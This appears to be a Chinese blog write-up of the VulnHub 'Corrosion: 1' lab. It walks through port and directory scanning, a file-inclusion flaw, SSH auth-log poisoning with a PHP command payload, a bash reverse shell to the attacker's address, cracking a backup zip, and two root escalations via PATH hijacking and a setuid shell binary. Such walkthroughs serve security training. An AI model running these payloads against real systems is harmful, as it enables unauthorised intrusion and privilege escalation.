CORROSION: 1
靶机描述
靶机地址:https://www.vulnhub.com/entry/corrosion-1,730/
Description
Difficulty: Easy
A easy box for beginners, but not too easy. Good Luck.
Hint: Enumerate Property.
信息收集
利用arp-scan -l命令扫描靶机IP
arp-scan -l
端口扫描
nmap -sS -p 1-65535 -sV -v 192.168.75.165
检测到22和80端口,访问一下80端口
使用gobuster进行扫描目录
gobuster dir -u http://192.168.75.165/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php
访问一下扫到的内容
/tasks
/blog-post
randy大概率是用户名,尝试继续扫描该目录
gobuster dir -u http://192.168.75.165/blog-post/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php
查看一下
/blog-post/archives/
漏洞利用
查看一下randylogs.php文件
是一个空白页面,根据最初的提示,可能存在认证日志的文件包含,要fuzz具体的参数
wfuzz -c -w /usr/share/wfuzz/wordlist/general/big.txt -u "http://192.168.75.165/blog-post/archives/randylogs.php?FUZZ=../../../../../../etc/passwd" --hw 0
得到了file参数
可以访问系统文件,看一下auth.log日志
发现会记录ssh登录的所有活动,那我们可以尝试添加恶意PHP代码作为用户名,该代码将从用户输入并执行命令,这通常称为日志中毒
ssh '<?php system($_GET['cmd']);?>'@192.168.75.165
再次查看日志信息
注入的信息应该在这里,验证一下
/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=id
发现没问题,写入shell
bash -c 'bash -i >& /dev/tcp/192.168.75.150/1234 0>&1'
url编码
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.75.150%2F1234%200%3E%261%27
访问并监听
提权
查看一下系统内的文件,在/var/backups目录下找到一个疑似账户备份的压缩包
使用curl下载到Kali
curl http://192.168.75.165/blog-post/archives/randylogs.php?file=/var/backups/user_backup.zip -o user_backup.zip
解压发现需要密码,使用fcrackzip爆破文件密码
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt ./user_backup.zip
用密码解压
发现randy的密码,ssh登录
查看一下权限
发现了/home/randy/tools/easysysinfo,使用sudo -l命令发现可以使用root身份运行/home/randy/tools/easysysinfo文件
s权限:设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份
查看一下easysysinfo.py文件内容,这个文件是绝对路径,如果可执行文件使用的不是绝对路径,则存在漏洞可利用
使用strings easysysinfo发现使用的不是绝对路径
(1)第一种提权方法
在本地编辑cat文件,写入sh,给执行权限然后将路径写入到原有环境变量前(从前往后顺序匹配),这样使用cat命令时就会优先匹配此路径下的cat文件,由于文件有s权限,不用使用root身份运行也能获得root权限
echo 'sh' > cat
chomod +x cat
export PATH=/home/randy/tools:$PATH
./easysysinfo
得到flag
(2)第二种提权方法
第二种提权方法,虽然没有修改权限,但是可以使用同名文件覆盖该文件,写一个获得shell的c文件,然后编译覆盖,覆盖之后s权限也会被覆盖,所以需要使用sudo以获得root权限
vi ./easysysinfo.c //进行编辑easysysinfo.c文件
//以下为编辑内容
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
gcc easysysinfo.c -o easysysinfo //指定gcc处理结果的文件名为easysysinfo
sudo ./easysysinfo
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/18173079